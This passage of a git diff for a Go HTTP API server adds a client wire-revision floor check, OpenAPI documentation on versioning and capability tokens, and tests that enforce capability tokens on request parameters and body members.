// actually EXTENDS past it for an in-flight large apply, instead of @@ -632,11 +641,12 @@ func Listen(cfg Config) (*Server, error) { workspaceMemories: cfg.Memories, eventsJournal: cfg.EventsJournal, - sem: make(chan struct{}, maxInflight), - semTimeout: semAcquireTimeout, - semWarn: saturationWarn, - largeApplySem: make(chan struct{}, 1), - largeApplyCeiling: orDefault(cfg.LargeApplyCeiling, DefaultLargeApplyCeiling), + sem: make(chan struct{}, maxInflight), + semTimeout: semAcquireTimeout, + semWarn: saturationWarn, + minClientWireRevision: MinClientWireRevision, + largeApplySem: make(chan struct{}, 1), + largeApplyCeiling: orDefault(cfg.LargeApplyCeiling, DefaultLargeApplyCeiling), closing: make(chan struct{}), maxWatchStreams: maxWatchStreams, @@ -1872,6 +1882,18 @@ func (s *Server) route(rt route) http.Handler { } } + // Wire-floor before resources, same as the project stamp: a client that + // has declared a revision this build no longer supports is turned away + // before it can buy a database slot or open a unit of work. Checked on + // every route but health (see wireRevisionExempt) — including the + // identity handshake, where catching the mismatch is cheapest. + if !rt.wireRevisionExempt { + if res := s.checkWireRevision(r); res != nil { + s.fail(w, r, *res) + return + } + } + if !rt.bypassSemaphore { release, err := s.acquire(r.Context(), rec) if err != nil { diff --git a/internal/httpapi/server_test.go b/internal/httpapi/server_test.go index 6bae6ef99..0b5799395 100644 --- a/internal/httpapi/server_test.go +++ b/internal/httpapi/server_test.go @@ -635,7 +635,7 @@ func TestCapabilitiesAdvertiseEveryImplementedOperation(t *testing.T) { // them; project.enforce and issues.batchApplyLarge are advertised in the // same list. Both are spelled literally here to keep this an independent // oracle rather than a second call to the code under test. - want = append(want, "project.enforce", "issues.batchApplyLarge") + want = append(want, "project.enforce", "issues.batchApplyLarge", "issues.list.sort") slices.Sort(want) if !slices.Equal(got, want) { t.Errorf("capabilities = %v, want %v", got, want) diff --git a/internal/httpapi/spec/openapi.v0.yaml b/internal/httpapi/spec/openapi.v0.yaml index 71d23b419..356032b1f 100644 --- a/internal/httpapi/spec/openapi.v0.yaml +++ b/internal/httpapi/spec/openapi.v0.yaml @@ -52,7 +52,7 @@ info: it decides every refusal before opening its stream. - ## Four 400s cut across operations, and are documented here once + ## Five 400s cut across operations, and are documented here once * **Host header.** A request whose `Host` header is not in the server's @@ -121,10 +121,34 @@ info: id to stamp with. A client detects that a server performs this check by the `project.enforce` capability (see `ContextResponse`). + * **Wire-revision floor.** A request MAY carry a `Bd-Wire-Revision` header + naming the integer `wire_revision` (see `ContextResponse.wire_revision`) + the CLIENT was built to decode. When the header is present, is a + non-negative integer, and names a revision BELOW + `ContextResponse.min_client_wire_revision`, the request is refused with + `400` / `code: invalid_argument` / `param: "Bd-Wire-Revision"` / + `reason: "wire_revision_unsupported"`, and that refusal carries this + server's own floor in the `min_wire_revision` member so the client can + log exactly how far behind it is without re-deriving the number from + `bd_version`. A header value that is not a non-negative integer is + refused the ordinary way a malformed value is: `400` / + `reason: "invalid_value"`. An ABSENT header is the backward-compatible + path, exactly as for `Bd-Project-Id`: a client that never declares a + revision is served exactly as today, so this is additive wire surface, + never a new precondition on requests already in the field. UNLIKE the + project-id stamp, this check is NOT skipped on `GET /v0/beads/context`: + the handshake is precisely where a client's floor matters most, because + serving a `ContextResponse` to a client that has already said it cannot + decode this revision would defeat the whole signal. It IS skipped on + `GET /healthz` alone, for the reason liveness is always exempt: it must + answer whatever client reaches it. See `ContextResponse.wire_revision` + for the full version-signal design. + The first two are uniform rules reachable on EVERY route including - `GET /healthz`; the third holds on every body-carrying operation; the fourth - holds on every route EXCEPT the two exempt reads named above. All four are + `GET /healthz`; the third holds on every body-carrying operation; the + fourth holds on every route EXCEPT the two exempt reads named above; the + fifth holds on every route except `GET /healthz` alone. All five are stated here instead of being repeated on every operation. The per-operation `responses` below therefore list what an operation produces BEYOND them: a generated client must treat `400 invalid_argument` as possible everywhere, @@ -192,6 +216,17 @@ info: * `schema_version` is NOT an HTTP gate. It is shared with the CLI's stdout JSON envelope, so it can move for CLI-only reasons with no HTTP wire change. Report it, log it, never branch on it. + * `wire_revision` and `min_client_wire_revision` gate WIRE SHAPE, not + behavior: a non-additive change to an EXISTING member's type, meaning, + presence or name bumps `wire_revision`; a brand-new member or operation + does not. A client that reads no `wire_revision` at all is talking to a + server that predates it and may use `bd_version` as an ADVISORY hint + (`>= 1.3.0-rc.1` hints `1`, else hints `0`) — never as proof: see + `ContextResponse.wire_revision` for the known builds where the hint is + wrong, why a client must accept `revision`/`expected_version` as either + a string or a number whenever `wire_revision` is absent, and why an + inferred `0` must never by itself be grounds to refuse a request. See + also the `Bd-Wire-Revision` request header. * Clients MUST default-branch on unknown `code` and `reason` values within a status class: both vocabularies grow additively, so an exhaustive switch breaks on the first addition. @@ -1281,7 +1316,11 @@ paths: predates this parameter answers `param: "sort"` with `reason: "unknown_parameter"` instead, which is the per-parameter capability probe a client can dispatch on to fall back to paging in - `created` order and sorting client-side. + `created` order and sorting client-side. This server also + advertises the `issues.list.sort` token in + `ContextResponse.capabilities` for exactly that check, so a client + with capabilities cached from the handshake never has to pay for + the round trip an old server's `unknown_parameter` answer costs. schema: type: string enum: [created, priority] @@ -7385,7 +7424,7 @@ components: conforms to this document. required: [api_version, bd_version, schema_version, backend, dolt_mode, database, - project_id, capabilities] + project_id, capabilities, wire_revision, min_client_wire_revision] properties: api_version: type: string @@ -7458,7 +7497,7 @@ components: `memories.forget`, `events.list`, `events.watch`, `issues.casMetadata`; the behavior tokens are `project.enforce`, which announces that a `Bd-Project-Id` stamp for the wrong workspace - is refused here rather than silently ignored, and + is refused here rather than silently ignored, `issues.batchApplyLarge`, which announces that `POST /v0/beads/issues:batchApply` accepts the RAISED envelope — up to 1000 items (`ApplyBatchRequest.items.maxItems`), a 16 MiB @@ -7472,10 +7511,13 @@ components: server's ordinary deadline exactly as before. A client that checks for this token before sending a plan over 100 items learns whether THIS server accepts it without paying for a round trip an - older server would refuse anyway. The list grows additively, and - an operation never appears here unless it is fully implemented. - This is how a client checks for an operation or a behavior — - never the version string. + older server would refuse anyway, and `issues.list.sort`, which + announces that `GET /v0/beads/issues` accepts the `sort` query + parameter (two closed, pageable total orders — see that + parameter) rather than silently answering `unknown_parameter`. The + list grows additively, and an operation never appears here unless + it is fully implemented. This is how a client checks for an + operation or a behavior — never the version string. THIS LIST IS BUILD-LEVEL, NOT WORKSPACE-LEVEL. It says which @@ -7490,6 +7532,176 @@ components: not read the capability as a promise that records will arrive. items: type: string + wire_revision: + type: integer + description: >- + A counter bumped on every release whose wire format changed in a + way an unaware client could MISDECODE: an existing member's JSON + type or meaning changed, or a member was removed or renamed. + Adding a brand-new member to an existing schema, or a brand-new + operation, is ADDITIVE and never bumps it — an old client simply + never asks for the new member and is unaffected. That promise does + not extend to a new REQUIRED request input (a request-body member + or a parameter): it misdecodes nothing, so it bumps nothing, but an + old client that never sends it is refused. The drift gate below + records a new required parameter or body member as an ordinary + addition and asks for no bump, so keeping old clients working + through one is that change's own review's job. + + + Revision history, and it only ever grows by appending a row: + + + * `0` — every server before 1.3.0. `revision` and + `expected_version` were JSON integers, and this field did not + exist: an absent `wire_revision` together with a `bd_version` + below `1.3.0` IS a `0`. + * `1` — 1.3.0 up to, but not including, the release that adds this + field. `revision` and `expected_version` moved to DECIMAL-STRING + tokens (#6053) under the same `api_version: "v0"`, with nothing + in the handshake to tell an integer-expecting client the shape + had moved underneath it. That silent gap is the whole reason + this field exists. + * `2` — the first release whose `ContextResponse` carries + `wire_revision` and `min_client_wire_revision` at all (this one). + + + PRESENCE, not just value: a generated client whose JSON decoder + zero-values a missing integer field cannot tell, by looking at a + decoded `0` alone, whether the server SENT `0` or sent nothing. + This is never actually ambiguous in practice, because `0` and `1` + are PERMANENTLY RETIRED values — they describe servers that predate + this field or carried the brief interim string shape, and no + server that implements this field (`CurrentWireRevision` starts at + `2` and only increases) will ever legitimately send a literal `0` + or `1`. A decoded `0` can therefore only mean "this server omitted + the field," and a client inferring from `bd_version` per the + paragraph below is doing exactly the right thing in that case, + never guessing at a value the field could have meant on its own. A + client that wants presence as a first-class fact rather than an + inference anyway should decode `wire_revision` into a nullable + type, or check for the JSON key's presence directly, instead of + relying on this retirement guarantee. + + + A client talking to a server that omits this member entirely is + talking to a pre-signal server. `bd_version` is a HINT for that + case, never proof: compare it as semver WITH PRE-RELEASE + identifiers, and treat `>= 1.3.0-rc.1` — not the release cutoff + `1.3.0` itself — as a hint toward `1`, anything below as a hint + toward `0`. The release cutoff is wrong on its own because a + `1.3.0-rc.N` pre-release build already carries the `1` shape and + sorts BELOW `1.3.0`. + + + Known exceptions make even that corrected hint unreliable, which + is why it is advisory rather than authoritative: + + + * Builds from `main` up to commit `b3ef65c85` report + `bd_version: "1.2.2"` — below the `1.3.0-rc.1` hint cutoff — + while already sending the string-typed shape (`1`, not `0`). + * The bd-enterprise compatibility line at commit `d3ab32773462` + reports `bd_version: "1.1.0"` while also sending the + string-typed shape. + + + Because builds like these exist, a client MUST NOT trust the + inferred revision to pick a decoder. Instead it MUST do ONE of: + accept `revision` and `expected_version` as EITHER a JSON string + OR a JSON number whenever `wire_revision` is absent, or probe the + actual shape directly (for instance by inspecting the JSON type of + a `revision` value already in hand). A client MUST NEVER refuse a + request solely because the inferred revision is `0` — `0` here + means only "this is an unreliable hint," never a confirmed fact to + gate decoding on by itself. A client that still cannot cope with + either shape after probing must refuse to proceed rather than + guess, exactly as it would for a `wire_revision` it read directly + and does not understand. + + + This document's own drift gate is `TestWireShapeDigest` + (`internal/httpapi/wireshape`): a golden digest of every EXISTING + response member AND request body member's (schema, member, type, + format, enum, required, nullable), plus the item shape of an array + member and the value shape of an `additionalProperties` map, + recursing through `$ref` and through a schema's own `allOf` or + `oneOf`. The same digest also covers every operation PARAMETER + (query, path and header) across every operation, keyed by + operationId + location + name rather than by schema, recording its + type, item shape (for an array parameter), enum, required, style, + explode and default — style and explode as their effective values, + OpenAPI's defaults filled in where the document leaves them unset. + It fails CI the moment any one of these — member or parameter — + changes without this field's Go constant (`CurrentWireRevision`, + `internal/httpapi/wire_revision.go`) increasing to match. + Regenerate the golden with + `go run ./internal/httpapi/wireshape/cmd/gendigest` after a + deliberate, revision-bumped change, and commit the result — see + that package's doc.go for the exact command. A purely additive + member, parameter or operation also changes the golden (it is + appended to, never frozen in place) but needs no revision bump to + pass; the command itself refuses to write a changed or removed + entry at an unbumped revision, refuses any write at a LOWER + revision than the golden records, and refuses to create a golden + that does not exist yet unless run with `-init`. The digest is a + boundary, not the whole wire: value constraints such as + `maxLength`, `maximum`, `pattern` or `maxItems` are outside it, on + members and parameters alike, and so is a composition keyword on a + single member's own value (this document uses none); an + object-typed parameter, or one described by `content` rather than + `schema`, is recorded only as its container. Narrowing a + constraint trips no gate, so such a change must be weighed against + this counter in its own review. + + + Every request PARAMETER (query, path or header) and every request + BODY MEMBER, added to an EXISTING operation after this document, + must carry a capability token in its own description, exactly as + `capabilities` members do above — + `TestNewParameterOnExistingOperationHasABehaviorToken` enforces it + against two frozen baselines + (`internal/httpapi/testdata/pretoken_parameters.json` for + parameters, `pretoken_request_body_members.json` for body + members) of every parameter and body member this document already + had the day each rule was written. A member on its baseline is + grandfathered and never needs a token; any member not on it — + present now or added later, on an operation that already existed + when the relevant baseline was frozen — must carry one today. A + BRAND-NEW operation (one absent from the third frozen file, + `pretoken_operations.json`) is exempt entirely: its own review + decides its capability story, not a baseline written before it + existed. The token itself must also be one `Capabilities()` + actually serves — a backticked string merely shaped like a token + proves nothing on its own. All three baselines are written once + and never regenerated: only a pre-existing, untokened member or + operation ever belongs on them, a newly tokened member satisfies + the rule without needing an entry at all, and + `TestPretokenBaselinesNeverGrow` pins their sizes so nothing can + hand-add a new exemption instead of a token. `issues.list.sort` is + the first deliberate use of the parameter rule; it also closes the + one gap the rule was written to catch, since `sort` itself shipped + (#5666) with no token at all. + min_client_wire_revision: + type: integer + description: >- + The OLDEST client `wire_revision` this server still answers + correctly. A client whose own compiled `wire_revision` is below + this number should refuse to dial at all, the same way it refuses + an unknown `api_version`: nothing it does with a response shaped + for this revision is safe to assume. + + + A client MAY declare the revision it was built for on every + request with the optional `Bd-Wire-Revision` header (see the + document-level rule above). When it does, and the declared value + is below this member, the server refuses with `400` / + `code: invalid_argument` / `param: "Bd-Wire-Revision"` / + `reason: "wire_revision_unsupported"` rather than risk serving a + body the caller has already said it cannot decode. The header is + OPTIONAL and an absent one is served exactly as today — this is + additive wire surface, not a new precondition on requests already + in the field, exactly as `Bd-Project-Id` is. IssueCount: type: object @@ -11179,13 +11391,19 @@ components: `invalid_value` (the value is not one this server will act on: malformed, out of vocabulary, or — for `limit=0` under `--allow-non-loopback` — legal but refused in this server's - configuration; `detail` says which), or `project_mismatch` (the + configuration; `detail` says which), `project_mismatch` (the `Bd-Project-Id` header named a project this server does not serve — a document-level refusal like the Host-header 400, raised on every enforced route, and the one that carries `server_project_id`; see - the document-level rule). Either way the recovery is to send - something different, never to retry the same request. The set may - grow; default-branch on unknown values. + the document-level rule), or `wire_revision_unsupported` (the + `Bd-Wire-Revision` header named a revision below + `ContextResponse.min_client_wire_revision` — also a document-level + refusal, raised on every route including the identity handshake, + and the one that carries `min_wire_revision`; see the + document-level rule and `ContextResponse.wire_revision`). Either + way the recovery is to send something different, never to retry + the same request. The set may grow; default-branch on unknown + values. assignee: type: string description: >- @@ -11446,3 +11664,28 @@ components: and never on a refusal raised before the stamp is checked — the Host gate, or a deployment's authentication layer — so its PRESENCE is the signal that this specific check fired. + min_wire_revision: + type: integer + description: >- + With `invalid_argument` / `reason: "wire_revision_unsupported"` + ONLY: this server's own `ContextResponse.min_client_wire_revision`, + so a client that declared a `Bd-Wire-Revision` can log exactly how + far behind it is without re-deriving the number from `bd_version`. + It is set on that refusal and on no other. + wire_revision: + type: integer + description: >- + With `invalid_argument` / `reason: "wire_revision_unsupported"` + ONLY: this server's own current `ContextResponse.wire_revision`, + alongside `min_wire_revision`, so a client logging the refusal has + both ends of the supported range without a second request to + `GET /v0/beads/context`. It is set on that refusal and on no + other. + bd_version: + type: string + description: >- + With `invalid_argument` / `reason: "wire_revision_unsupported"` + ONLY: this server's own `ContextResponse.bd_version`, for a client + that logs or reports the refusal and wants the release string + alongside the two wire-revision numbers rather than a second + request to fetch it. It is set on that refusal and on no other. diff --git a/internal/httpapi/spec_parity_test.go b/internal/httpapi/spec_parity_test.go index bb7973a91..b299f2b02 100644 --- a/internal/httpapi/spec_parity_test.go +++ b/internal/httpapi/spec_parity_test.go @@ -1,7 +1,9 @@ package httpapi import ( + "encoding/json" "os" + "path/filepath" "reflect" "regexp" "slices" @@ -419,11 +421,13 @@ func TestSpecDefaultsMatchSharedConstants(t *testing.T) { } // capabilityToken matches one backticked capability token in the -// `capabilities` description. The shape — a lowercase resource, a dot, a -// lowerCamel verb — is what every token on this surface is, and it is narrow -// enough that no other backticked word in that paragraph can be mistaken for -// one. -var capabilityToken = regexp.MustCompile("`([a-z]+\\.[a-zA-Z]+)`") +// `capabilities` description. The shape is a lowercase resource, a dot, a +// lowerCamel verb, and OPTIONALLY a second dot and a third lowerCamel segment +// (`issues.list.sort`, matching the bd-enterprise client's +// httpstore/wire/handshake.go:121 and DESIGN.txt §4e) — narrow enough that no +// other backticked word in that paragraph can be mistaken for one, but wide +// enough for a sub-capability one level below an operation's own token. +var capabilityToken = regexp.MustCompile("`([a-z]+\\.[a-zA-Z]+(?:\\.[a-zA-Z]+)?)`") // TestSpecCapabilityVocabularyMatchesTheRouteTable is the gate for the ONE // piece of per-operation plumbing that had no gate. @@ -470,6 +474,408 @@ func TestSpecCapabilityVocabularyMatchesTheRouteTable(t *testing.T) { } } +// hasValidCapabilityToken reports whether desc carries at least one +// backticked token that is BOTH shaped like a capability (capabilityToken) +// AND a member of validTokens. A backticked string that merely looks like a +// token — `metadata.json`, say — proves nothing: anyone can put backticks +// around two words. Checking membership against the real advertised set is +// what makes the token verifiable rather than decorative (review HIGH, +// "a token must be one advertised by Capabilities(), not any backticked a.b +// text"). +func hasValidCapabilityToken(desc string, validTokens map[string]bool) bool { + for _, m := range capabilityToken.FindAllStringSubmatch(desc, -1) { + if validTokens[m[1]] { + return true + } + } + return false +} + +// untokenedParameters reports "operationId.paramName" (query/path/header +// parameters) and "operationId body.memberName" (request body members, one +// level deep) for every undocumented dispatch surface in ops: one whose own +// description carries no token that is a member of validTokens, and whose +// (operationId, name) pair is not in baseline. +// +// Two further gates narrow this to a true ratchet rather than a sweep that +// would also fire on surface this rule did not exist to judge: +// +// - existingOps restricts the rule to operations that existed when the rule +// was frozen (testdata/pretoken_operations.json). A parameter or body +// member on a BRAND-NEW operation is never "missing" a token under this +// rule — a new operation's own review is where its capability story gets +// decided, not a baseline file written before it existed. +// - validTokens restricts what counts as a token at all: shape is not +// enough (hasValidCapabilityToken). +// +// doc resolves the $refs a parameter or request body may point at. baseline +// is keyed by operationId to the list of its parameter names exempt from the +// rule; bodyBaseline is the same shape for "body.member" names. +// +// Factored out of TestNewParameterOnExistingOperationHasABehaviorToken so +// TestUntokenedParameterRuleFires can falsify it against a fixture with no +// dependency on the real document: the rule fires on its own fabricated +// miss, not just on whatever this spec currently happens to contain. +func untokenedParameters( + t *testing.T, + doc map[string]any, + ops map[string]specOp, + baseline map[string][]string, + bodyBaseline map[string][]string, + existingOps map[string]bool, + validTokens map[string]bool, +) []string { + t.Helper() + grandfathered := map[string]bool{} + for opID, params := range baseline { + for _, p := range params { + grandfathered[opID+"\x00"+p] = true + } + } + bodyGrandfathered := map[string]bool{} + for opID, members := range bodyBaseline { + for _, m := range members { + bodyGrandfathered[opID+"\x00"+m] = true + } + } + + var missing []string + for opID, so := range ops { + if existingOps != nil && !existingOps[opID] { + continue // brand-new operation: its own review decides its tokens. + } + + if raw, ok := so.op["parameters"].([]any); ok { + for _, r := range raw { + pm, ok := r.(map[string]any) + if !ok { + t.Fatalf("%s: parameter is %T, want a mapping", opID, r) + } + pm = resolveRef(t, doc, pm) + name, _ := pm["name"].(string) + if name == "" { + t.Fatalf("%s: parameter with no name", opID) + } + if grandfathered[opID+"\x00"+name] { + continue + } + desc, _ := pm["description"].(string) + if !hasValidCapabilityToken(desc, validTokens) { + missing = append(missing, opID+"."+name) + } + } + } + + for member, desc := range requestBodyMemberDescriptions(t, doc, so) { + if bodyGrandfathered[opID+"\x00"+member] { + continue + } + if !hasValidCapabilityToken(desc, validTokens) { + missing = append(missing, opID+" body."+member) + } + } + } + sort.Strings(missing) + return missing +} + +// requestBodyMemberDescriptions returns, for so's request body (if any), each +// top-level member name mapped to its own description. Every request body in +// this document is `required: true` with a single application/json media +// type whose schema is a direct $ref to a named object schema with no allOf — +// simple enough that one level of property-walking covers all of them; a +// future body shaped any other way will simply report no members here rather +// than silently miscounting, which TestRequestBodyMembersCoversEveryBody (if +// that ever becomes necessary) would be the place to pin. +func requestBodyMemberDescriptions(t *testing.T, doc map[string]any, so specOp) map[string]string { + t.Helper() + rb, ok := so.op["requestBody"].(map[string]any) + if !ok { + return nil + } + content, ok := rb["content"].(map[string]any) + if !ok { + return nil + } + media, ok := content["application/json"].(map[string]any) + if !ok { + return nil + } + schemaRef, ok := media["schema"].(map[string]any) + if !ok { + return nil + } + schema := resolveRef(t, doc, schemaRef) + props, ok := schema["properties"].(map[string]any) + if !ok { + return nil + } + out := map[string]string{} + for member, raw := range props { + pm, ok := raw.(map[string]any) + if !ok { + continue + } + pm = resolveRef(t, doc, pm) + desc, _ := pm["description"].(string) + out[member] = desc + } + return out +} + +func loadPretokenBaseline(t *testing.T) map[string][]string { + t.Helper() + return loadJSONStringMap(t, "pretoken_parameters.json") +} + +// loadPretokenBodyBaseline is loadPretokenBaseline's sibling for request body +// members (review MEDIUM, "extend the rule to request-body members on +// existing operations"): same write-once-grandfather shape, keyed by +// operationId to the "body.member" names that already existed, untokened, +// the day body-member coverage was added. +func loadPretokenBodyBaseline(t *testing.T) map[string][]string { + t.Helper() + return loadJSONStringMap(t, "pretoken_request_body_members.json") +} + +func loadJSONStringMap(t *testing.T, filename string) map[string][]string { + t.Helper() + blob, err := os.ReadFile(filepath.Join("testdata", filename)) + if err != nil { + t.Fatalf("read %s: %v", filename, err) + } + var out map[string][]string + if err := json.Unmarshal(blob, &out); err != nil { + t.Fatalf("decode testdata/%s: %v", filename, err) + } + return out +} + +// loadPretokenOperations is the review's "don't fire on brand-new +// operations" gate: the set of operationIds that existed the day the +// untokened-parameter rule (and its body-member extension) was frozen. An +// operation not in this file is new, and gets no say from either baseline — +// its own code review decides its capability story. +func loadPretokenOperations(t *testing.T) map[string]bool { + t.Helper() + blob, err := os.ReadFile(filepath.Join("testdata", "pretoken_operations.json")) + if err != nil { + t.Fatalf("read pretoken operations: %v", err) + } + var list []string + if err := json.Unmarshal(blob, &list); err != nil { + t.Fatalf("decode testdata/pretoken_operations.json: %v", err) + } + out := make(map[string]bool, len(list)) + for _, id := range list { + out[id] = true + } + return out +} + +// servedCapabilities is validTokens for the real document: exactly what +// Capabilities() advertises right now, which is also what +// TestSpecCapabilityVocabularyMatchesTheRouteTable pins the spec prose to. +func servedCapabilities() map[string]bool { + out := map[string]bool{} + for _, token := range Capabilities() { + out[token] = true + } + return out +} + +// TestNewParameterOnExistingOperationHasABehaviorToken is the lint rule S0 +// item 4 asks for: a parameter on an existing operation with no capability +// token in its own description is undocumented dispatch surface — a client +// has no way to learn THIS server accepts it without sending it and risking +// `unknown_parameter`, which is exactly what happened to `sort` (#5666) +// before `issues.list.sort` closed the gap. +// +// The baseline (testdata/pretoken_parameters.json) is a WRITE-ONCE grandfather +// list: every parameter this document already had the day the rule was +// written, captured by walking the spec with this same token regex. A +// parameter on it is exempt permanently, and nothing here ever regenerates +// the file. Any parameter not on it — present today or added by any later +// change — must carry a token, which is what makes this a ratchet rather than +// a one-time sweep: `issues.list.sort` is already the parity fix the rule's +// own baseline is built from, not an exemption to it. +func TestNewParameterOnExistingOperationHasABehaviorToken(t *testing.T) { + doc := loadSpec(t) + ops := specOps(t, doc) + baseline := loadPretokenBaseline(t) + bodyBaseline := loadPretokenBodyBaseline(t) + existingOps := loadPretokenOperations(t) + valid := servedCapabilities() + + if missing := untokenedParameters(t, doc, ops, baseline, bodyBaseline, existingOps, valid); len(missing) > 0 { + t.Errorf("parameter(s) or request body member(s) on an existing operation carry no capability token "+ + "that Capabilities() actually serves, and are not on the frozen baseline "+ + "(internal/httpapi/testdata/pretoken_parameters.json / pretoken_request_body_members.json): %v\n"+ + "add a `resource.verb` token to the member's own description, the way `sort` on "+ + "GET /v0/beads/issues advertises `issues.list.sort`", missing) + } +} + +// TestPretokenBaselinesNeverGrow pins the three frozen testdata files at +// their current size (review MEDIUM, "the baseline must never grow"): +// nothing here ever regenerates them, so the only way their counts change is +// someone hand-editing a new exemption in, which is exactly what this guards +// against. A legitimate new parameter or body member must carry its own +// token, not an entry on these files; a legitimate new OPERATION is added to +// pretoken_operations.json never — new operations are simply never members of +// it, by construction, since nothing regenerates it either. +func TestPretokenBaselinesNeverGrow(t *testing.T) { + const ( + wantParamEntries = 137 + wantBodyEntries = 85 + wantOps = 41 + ) + baseline := loadPretokenBaseline(t) + paramEntries := 0 + for _, params := range baseline { + paramEntries += len(params) + } + if paramEntries != wantParamEntries { + t.Errorf("testdata/pretoken_parameters.json has %d grandfathered parameters, want exactly %d "+ + "(frozen the day the rule was written); if this moved, something added a new exemption instead "+ + "of a token", paramEntries, wantParamEntries) + } + + bodyBaseline := loadPretokenBodyBaseline(t) + bodyEntries := 0 + for _, members := range bodyBaseline { + bodyEntries += len(members) + } + if bodyEntries != wantBodyEntries { + t.Errorf("testdata/pretoken_request_body_members.json has %d grandfathered body members, want exactly %d", + bodyEntries, wantBodyEntries) + } + + existingOps := loadPretokenOperations(t) + if len(existingOps) != wantOps { + t.Errorf("testdata/pretoken_operations.json has %d operations, want exactly %d "+ + "(frozen the day the new-operation exemption was added)", len(existingOps), wantOps) + } +} + +// TestUntokenedParameterRuleFires is the rule's own falsification, required +// because TestNewParameterOnExistingOperationHasABehaviorToken is permanently +// green against a spec written to satisfy it: a synthetic operation proves +// the CHECK itself still distinguishes the cases it exists to tell apart, +// independent of anything the real document currently says. +func TestUntokenedParameterRuleFires(t *testing.T) { + doc := map[string]any{} // no $refs in the fixtures below; resolveRef never consults it + newOp := func(desc string) specOp { + return specOp{ + method: "GET", + path: "/synthetic", + op: map[string]any{ + "parameters": []any{ + map[string]any{"name": "widget", "description": desc}, + }, + }, + } + } + noBody := map[string][]string{} + allExisting := map[string]bool{"syntheticOp": true} + validTokens := map[string]bool{"synthetic.widget": true, "issues.list": true} + + ops := map[string]specOp{"syntheticOp": newOp("plain prose, no token at all")} + if got := untokenedParameters(t, doc, ops, noBody, noBody, allExisting, validTokens); !slices.Equal(got, []string{"syntheticOp.widget"}) { + t.Fatalf("untokened, non-grandfathered parameter: got %v, want [syntheticOp.widget]", got) + } + + if got := untokenedParameters(t, doc, ops, map[string][]string{"syntheticOp": {"widget"}}, noBody, allExisting, validTokens); len(got) != 0 { + t.Fatalf("grandfathered parameter still reported: got %v, want none", got) + } + + ops["syntheticOp"] = newOp("carries the `synthetic.widget` token") + if got := untokenedParameters(t, doc, ops, noBody, noBody, allExisting, validTokens); len(got) != 0 { + t.Fatalf("tokened parameter still reported: got %v, want none", got) + } + + // A backticked string shaped like a token but not one Capabilities() + // actually serves must still fire: shape alone is not proof (review HIGH). + ops["syntheticOp"] = newOp("see `metadata.json` for details") + if got := untokenedParameters(t, doc, ops, noBody, noBody, allExisting, validTokens); !slices.Equal(got, []string{"syntheticOp.widget"}) { + t.Fatalf("bogus (unserved) token: got %v, want [syntheticOp.widget]", got) + } + + // A REAL token, just not one this parameter actually advertises, passes: + // Capabilities() has no per-parameter binding to check against, so + // membership in the served set is the full extent of this rule (review + // HIGH says "a token must be one advertised by Capabilities()", not that + // it must be the specific token for this parameter). + ops["syntheticOp"] = newOp("reuses an unrelated real token (`issues.list`)") + if got := untokenedParameters(t, doc, ops, noBody, noBody, allExisting, validTokens); len(got) != 0 { + t.Fatalf("real-but-unrelated token: got %v, want none", got) + } + + // A brand-new operation (absent from the existingOps baseline) is exempt + // even with no token at all (review MEDIUM, "don't fire on brand-new + // operations"). syntheticOp still carries its real-but-unrelated token + // from the previous case, so it reports nothing either. + ops["brandNewOp"] = newOp("plain prose, no token at all") + if got := untokenedParameters(t, doc, ops, noBody, noBody, allExisting, validTokens); len(got) != 0 { + t.Fatalf("brand-new operation must not be reported: got %v", got) + } + // And a nil existingOps (the behavior with no freeze gate at all) does + // catch it, so the gate is additive, not a silent replacement for the + // baseline check. + if got := untokenedParameters(t, doc, ops, noBody, noBody, nil, validTokens); !slices.Equal(got, []string{"brandNewOp.widget"}) { + t.Fatalf("nil existingOps must not exempt anything: got %v", got) + } +} + +// TestUntokenedRequestBodyMemberRuleFires is TestUntokenedParameterRuleFires' +// sibling for request body members (review MEDIUM, "extend the rule to +// request-body members on existing operations"). +func TestUntokenedRequestBodyMemberRuleFires(t *testing.T) { + doc := map[string]any{ + "components": map[string]any{ + "schemas": map[string]any{ + "SyntheticRequest": map[string]any{ + "type": "object", + "properties": map[string]any{ + "widget": map[string]any{"type": "string", "description": "plain prose, no token at all"}, + }, + }, + }, + }, + } + so := specOp{ + method: "POST", + path: "/synthetic", + op: map[string]any{ + "requestBody": map[string]any{ + "content": map[string]any{ + "application/json": map[string]any{ + "schema": map[string]any{"$ref": "#/components/schemas/SyntheticRequest"}, + }, + }, + }, + }, + } + ops := map[string]specOp{"syntheticOp": so} + noParams := map[string][]string{} + allExisting := map[string]bool{"syntheticOp": true} + validTokens := map[string]bool{"synthetic.widget": true} + + if got := untokenedParameters(t, doc, ops, noParams, noParams, allExisting, validTokens); !slices.Equal(got, []string{"syntheticOp body.widget"}) { + t.Fatalf("untokened, non-grandfathered body member: got %v, want [syntheticOp body.widget]", got) + } + + if got := untokenedParameters(t, doc, ops, noParams, map[string][]string{"syntheticOp": {"widget"}}, allExisting, validTokens); len(got) != 0 { + t.Fatalf("grandfathered body member still reported: got %v, want none", got) + } + + props := doc["components"].(map[string]any)["schemas"].(map[string]any)["SyntheticRequest"].(map[string]any)["properties"].(map[string]any) + props["widget"] = map[string]any{"type": "string", "description": "carries the `synthetic.widget` token"} + if got := untokenedParameters(t, doc, ops, noParams, noParams, allExisting, validTokens); len(got) != 0 { + t.Fatalf("tokened body member still reported: got %v, want none", got) + } +} + func specParam(t *testing.T, so specOp, name string) map[string]any { t.Helper() raw, ok := so.op["parameters"].([]any) @@ -682,7 +1088,8 @@ func TestDefaultsMatchCLIFlags(t *testing.T) { // re-adding one costs a test edit. var contextResponseAllowlist = []string{ "api_version", "backend", "bd_version", "beads_dir", "capabilities", - "database", "dolt_mode", "project_id", "repo_root", "schema_version", + "database", "dolt_mode", "min_client_wire_revision", "project_id", + "repo_root", "schema_version", "wire_revision", } // TestContextResponseAllowlist pins that field set from both sides: the diff --git a/internal/httpapi/testdata/pretoken_operations.json b/internal/httpapi/testdata/pretoken_operations.json new file mode 100644 index 000000000..5ce49890a --- /dev/null +++ b/internal/httpapi/testdata/pretoken_operations.json @@ -0,0 +1,43 @@ +[ + "addComment", + "addDependencies", + "applyBatch", + "batchCloseIssues", + "batchCreateIssues", + "claimIssue", + "claimNextIssue", + "closeIssue", + "compareAndSetMetadata", + "countDependencyEdges", + "countIssues", + "countReadyWork", + "createIssue", + "deleteIssues", + "forgetMemory", + "getContext", + "getDependencyTree", + "getIssue", + "getMemory", + "getSetting", + "getStats", + "health", + "listBlockingAnnotations", + "listDependencies", + "listDependencyCycles", + "listEvents", + "listIssues", + "listMemories", + "listReadyWork", + "listRelatedIssues", + "listSettings", + "queryIssues", + 